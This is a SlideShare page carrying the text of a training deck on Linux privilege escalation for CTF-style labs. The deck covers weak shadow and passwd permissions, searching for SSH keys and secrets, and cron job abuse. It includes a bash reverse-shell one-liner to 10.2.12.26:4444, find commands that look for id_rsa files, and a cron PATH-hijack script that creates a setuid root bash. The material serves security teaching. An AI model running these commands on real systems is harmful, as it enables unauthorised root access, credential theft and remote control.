SlideShare a Scribd company logo
Linux privesc.pptx
About Me:
@VISHAL MOHAN
@4+ YEARS OF EXP
@INFORMATION SECURITY CONSULTANT
@CVES. HOF, BOUNTIES
TODAYS TOPIC:
‱ FILE PERMISSION
‱ SECRETS
‱ CRONJOB ABUSE
What Is Privesc?
Minimum functionality of a user (customer) to higher privilege user conversion (admin].
Linux Privesc:
When you try to exploit the webapp and get reverse shell (Linux machine) you will get www-data  which is a low privileged shell.
1.Horizontal Privilege
2.vertical Privilege
Horizontal Privesc:
Gaining access of User privilege  /home/vishal
This Privilege is which is equal to www-data, mostly we used it to find the Flag In CTFs like HTB.
Vertical Privesc:
Gaining access of root privilege from User priv.
FILE PERMISSION
Shadow File : users “Passwords” will be stored in this File.
/etc/shadow  World Readable  read & crack the hash
/etc/shadow  World Writable  Change the password for Root
Password File
/etc/passwd  World Writable  change the hash for root user
 change the UID & GID
By changing the hash value in password file, this passwd consider as a preference
By changing the UID & GID as 0 , It consider as root user
Sudo Binay Abuse
SECRETS
 History Files
 Config Files
 SSH Keys
History file
After getting initial shell to the machine, always check home directories files and hidden files
Configuration File
In linux many services or 3rd party software may be running , You may find Passwords, Keys, API in it.
SSH Keys
One may find hidden directories
Eg: /var/backups
/opt
find / -name authorized_keys 2> dev/null
find / -name id_rsa 2> dev/null
CRON JOBS
To perform task at scheduled time
To check the user’s cronjob if any cronjob is created
crontab –l
cat /etc/crobtab
bash -i >& /dev/tcp/10.2.12.26/4444 0>&1
1st line: shebang to denote interpreter, this case — bash
2nd line: bash -i to open an interactive shell,
>& /dev/tcp/10.2.12.26/4444 to redirect all streams to our local machine
and 0>&1 to redirect stdin and stdout to stdout
To check the cronjobs in automated tool “pspy”
Path Environment Variable
Cat /etc/crontab
Note that the PATH variable starts with /home/user which is our user’s home directory.
Create a file called overwrite.sh in your home directory with the following contents:
#!/Bin/bash
cp /bin/bash /tmp/rootbash
Chmod +xs /tmp/rootbash
Ovewriting binbash to /tmp/rootbash
Changed it to suit binary
Wait for cronjob to run and to gain root prievelge run below
/tmp/rootbash -p
Linux privesc.pptx

More Related Content

PDF
Check Your Privilege (Escalation)
PDF
Linux advanced privilege escalation
PPTX
Linux basics part 1
PPTX
Linux privilege escalation
PPTX
Introduction 2 linux
PPT
Unix/Linux Basic Commands and Shell Script
PPT
Unix Security
PDF
Exploiting Directory Permissions on macOS
Check Your Privilege (Escalation)
Linux advanced privilege escalation
Linux basics part 1
Linux privilege escalation
Introduction 2 linux
Unix/Linux Basic Commands and Shell Script
Unix Security
Exploiting Directory Permissions on macOS

Similar to Linux privesc.pptx (20)

PDF
Introduction to Linux Privilege Escalation Methods
PPT
PPTX
Death matchtournament del2014
PPTX
Linux week 2
PDF
Unit 6 adding new users and storage
PPTX
Chapter 3 LectureChapter 3 LectureChapter 3 Lecture.pptx
PDF
Hadoop Security, Cloudera - Todd Lipcon and Aaron Myers - Hadoop World 2010
PDF
1000 to 0
PPTX
Linux 4 you
PDF
Solaris basics
PDF
60761 linux
DOCX
Clustering manual
PPT
Lamp technology
PPT
Linux lecture
PPT
Linux
PDF
Slides 29-07-2017
PPT
Host security
PPT
Host security
PDF
Running the Apache Web Server
PPT
Sandy Report
Introduction to Linux Privilege Escalation Methods
Death matchtournament del2014
Linux week 2
Unit 6 adding new users and storage
Chapter 3 LectureChapter 3 LectureChapter 3 Lecture.pptx
Hadoop Security, Cloudera - Todd Lipcon and Aaron Myers - Hadoop World 2010
1000 to 0
Linux 4 you
Solaris basics
60761 linux
Clustering manual
Lamp technology
Linux lecture
Linux
Slides 29-07-2017
Host security
Host security
Running the Apache Web Server
Sandy Report
Ad

Recently uploaded (20)

PDF
Design an Analysis of Algorithms I-SECS-1021-03
PPTX
L1 - Introduction to python Backend.pptx
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PPTX
Reimagine Home Health with the Power of Agentic AI​
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
medical staffing services at VALiNTRY
PDF
Understanding Forklifts - TECH EHS Solution
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PPTX
Essential Infomation Tech presentation.pptx
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
Transform Your Business with a Software ERP System
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
System and Network Administration Chapter 2
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Design an Analysis of Algorithms I-SECS-1021-03
L1 - Introduction to python Backend.pptx
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
2025 Textile ERP Trends: SAP, Odoo & Oracle
Reimagine Home Health with the Power of Agentic AI​
Adobe Illustrator 28.6 Crack My Vision of Vector Design
medical staffing services at VALiNTRY
Understanding Forklifts - TECH EHS Solution
How to Migrate SBCGlobal Email to Yahoo Easily
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
How to Choose the Right IT Partner for Your Business in Malaysia
Essential Infomation Tech presentation.pptx
Design an Analysis of Algorithms II-SECS-1021-03
Transform Your Business with a Software ERP System
Wondershare Filmora 15 Crack With Activation Key [2025
Softaken Excel to vCard Converter Software.pdf
System and Network Administration Chapter 2
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Odoo Companies in India – Driving Business Transformation.pdf
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Ad

Linux privesc.pptx

  • 2. About Me: @VISHAL MOHAN @4+ YEARS OF EXP @INFORMATION SECURITY CONSULTANT @CVES. HOF, BOUNTIES
  • 3. TODAYS TOPIC: ‱ FILE PERMISSION ‱ SECRETS ‱ CRONJOB ABUSE
  • 4. What Is Privesc? Minimum functionality of a user (customer) to higher privilege user conversion (admin]. Linux Privesc: When you try to exploit the webapp and get reverse shell (Linux machine) you will get www-data  which is a low privileged shell. 1.Horizontal Privilege 2.vertical Privilege Horizontal Privesc: Gaining access of User privilege  /home/vishal This Privilege is which is equal to www-data, mostly we used it to find the Flag In CTFs like HTB. Vertical Privesc: Gaining access of root privilege from User priv.
  • 5. FILE PERMISSION Shadow File : users “Passwords” will be stored in this File. /etc/shadow  World Readable  read & crack the hash /etc/shadow  World Writable  Change the password for Root Password File /etc/passwd  World Writable  change the hash for root user  change the UID & GID By changing the hash value in password file, this passwd consider as a preference By changing the UID & GID as 0 , It consider as root user Sudo Binay Abuse
  • 6. SECRETS  History Files  Config Files  SSH Keys History file After getting initial shell to the machine, always check home directories files and hidden files Configuration File In linux many services or 3rd party software may be running , You may find Passwords, Keys, API in it. SSH Keys One may find hidden directories Eg: /var/backups /opt find / -name authorized_keys 2> dev/null find / -name id_rsa 2> dev/null
  • 7. CRON JOBS To perform task at scheduled time To check the user’s cronjob if any cronjob is created crontab –l cat /etc/crobtab bash -i >& /dev/tcp/10.2.12.26/4444 0>&1 1st line: shebang to denote interpreter, this case — bash 2nd line: bash -i to open an interactive shell, >& /dev/tcp/10.2.12.26/4444 to redirect all streams to our local machine and 0>&1 to redirect stdin and stdout to stdout To check the cronjobs in automated tool “pspy”
  • 8. Path Environment Variable Cat /etc/crontab Note that the PATH variable starts with /home/user which is our user’s home directory. Create a file called overwrite.sh in your home directory with the following contents: #!/Bin/bash cp /bin/bash /tmp/rootbash Chmod +xs /tmp/rootbash Ovewriting binbash to /tmp/rootbash Changed it to suit binary Wait for cronjob to run and to gain root prievelge run below /tmp/rootbash -p